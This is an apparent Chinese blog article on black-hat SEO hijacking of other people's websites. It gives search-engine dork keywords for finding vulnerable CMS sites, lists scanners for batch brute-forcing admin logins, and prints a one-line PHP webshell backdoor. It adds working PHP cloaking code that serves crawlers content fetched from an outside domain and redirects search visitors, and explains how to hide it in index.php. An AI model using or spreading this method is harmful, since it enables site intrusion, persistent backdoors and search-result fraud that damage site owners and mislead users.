黑帽SEO:劫持手法怎么做的

自媒体 投稿&转载 1792浏览

劫持,一种古(guo)老(shi)的黑帽手法,差不多10年的时候就有一票前辈知道这个方法了。

劫持分很多种,流量劫持、快照劫持、PR劫持等,其实前几个步骤都一样,就是最后的脚本写的不一样而已。

因为是劫持别人的站,所以首先要获取劫持站的后台权限,并留下后门,以便日后管理,这个过程就是常说的拿站(webshell)。

被劫持的多是企业站,企业站大多采用开源系统,很多系统因本身的问题存在诸多安全隐患,比如虐心的dede。有些系统的漏洞已经曝光出来,找到这些漏洞的特征和这个漏洞对应的系统,然后去各种渠道搜集使用这个系统的网站,遍历扫描每个站,如果存在这个漏洞,就暴力破解后台账户名和密码。

搜集目标网站,最简单的方法是拿漏洞的特征做关键词到搜索引擎去搜,然后把搜索结果页上的网站全部抓下来。关键词比如:

用户登陆 inurl:admin/login.asp

有限公司--Powered by ASPCMS V2.0

inurl:HomeMarket.asp

Powered by DEDECMS

……

然后拿抓下来的这些站去扫漏洞,用很多现成的拿站工具可以完成批量的扫描和破解,然而每个工具不能能覆盖所有漏洞,所以需要交叉使用:

御剑后台扫描

椰树WEB漏洞扫描器

wwwscan GUI版

Web应用安全漏洞检测工具

web扫描工具-WVS

Pker多线程后台极速扫描器

Acunetix Web Vulnerability Scanner 8

如果顺利的话,就可以拿到一些站的后台账户及密码,就可以正常登陆了。此时需要留一个后门,在网站后台新建一个php文件,写入一句话木马:<?php eval($_POST['ee']); ?>,通过菜刀(一个非常好用而又强大的webshell管理软件,如“中国菜刀”)添加shell,无异常的话就已经顺利的拿下一个站了。

接下来在后台写入劫持代码,比如要劫持首页,在后台找一个很隐蔽的地方新建一个php文件,写入类似的代码:

  1. <?php  
  2. $httpuser=strtolower($_SERVER['HTTP_USER_AGENT']);  
  3. if(strstr($httpuser,'Baiduspider') or strstr($httpuser,'Googlebot') or strstr($httpuser,'Sogou web spider')){  
  4.    $url=‘http://www.mydomain1.com';$a=file_get_contents($url);echo $a;exit;  
  5. }  
  6. $httpuser=strtolower($_SERVER['HTTP_REFERER']);  
  7. if(strstr($httpuser,'baidu') or strstr($httpuser,'google') or strstr($httpuser,'sogou')){  
  8.    $url=‘http://www.mydomain2.com';header("Location:$url");exit;  
  9. }  
  10. ?>  

意思很简单,若蜘蛛来访,则抓取 http://www.mydomain1.com的内容;若来路为搜索引擎,则返回http://www.mydomain2.com的内容。之后在首页文件index.php中调用刚才新建的文件:

<?php
include(“{新建文件的路径}")
?>

当然,http://www.mydomain1.com 和 http://www.mydomain2.com 可以设为同一个网址。

这就是快照劫持的步骤,被劫持的站,对蜘蛛访问返回http://www.mydomain1.com的内容,对从搜索引擎搜索过来的用户返回http://www.mydomain2.com的内容,若直接输入网站url,则是本来的页面。有些网站管理员只输入url访问网站,index.php也很少关注,所以好长时间才发现已经被劫持了。

有时在百度中搜索某些违禁词,出现一堆政府的网站,点进去是看到各种违禁内容(百度站长平台还专门开了一个“bad case”的帖子专门收集类似的案例),直接输入网址访问,却是正常的内容,若果换一个搜索词从百度点进去,还是正常的内容。这就是在上面劫持代码的基础上,根据referer词来判断是否返回指定页面,现在百度已经取消referer参数了,所以这东西也就随之失效了。

 

若是PR劫持,就是对蜘蛛301到指定的网站,从而提升权重。有些新站,做了不到3个月,用站长工具一查,好牛逼,权重值都在3往上,但网站本身并没多少内容和收录,这种情况多用此法。

上面仅是科普下劫持原理,仍有大量细节没有展开,比如如何隐蔽踪迹,如何批量管理webshell。如果藏的不是非常隐蔽,基本都会被发现,只是时间长短问题,且作上去的排名都活不了太长时间,说白了,能获得多大效果,取决于能铺多少量,是个耗费精力、时间的力气活。

 

推荐阅读

如何从日志中分析HTTP劫持?

日志中通常是分析不出来的,之前TV猫分享过,TV猫能分析出来是因为发现http劫持了,后面加了一个参数,这个参数不是网站自己加的,是(黑客)加了一个,参数后面跟了一个。 相关SEO术语解释: HTTP: HTTP即超文本传输协议,是网络上允许我们显示......

SEO应该怎么处理网站内容?

其实SEO很多工作就是不断的在倒腾内容,将内容各种倒腾来倒腾去,通过拆分聚合在拆分再聚合,来捕获搜索词。 老生常谈的空短页面、重复页面、原创页面….都是间接影响流量的点,直接影响流量的是内容的维度、属性、数量 维度决定能捕获哪些流量;属性决定内容的组......

怎么做SEO数据分析

4个多月没更新,原因是忙且懒。一登后台,关注都1000多了,上回看记得还不到500......趁现在有点时间,赶紧瞎写一篇。 上回数据分析①主要说的是爬虫和数据分析的关系,那么数据分析②打算说几个数据分析的案例。 案例1:收录分析 - 背景 要分析的......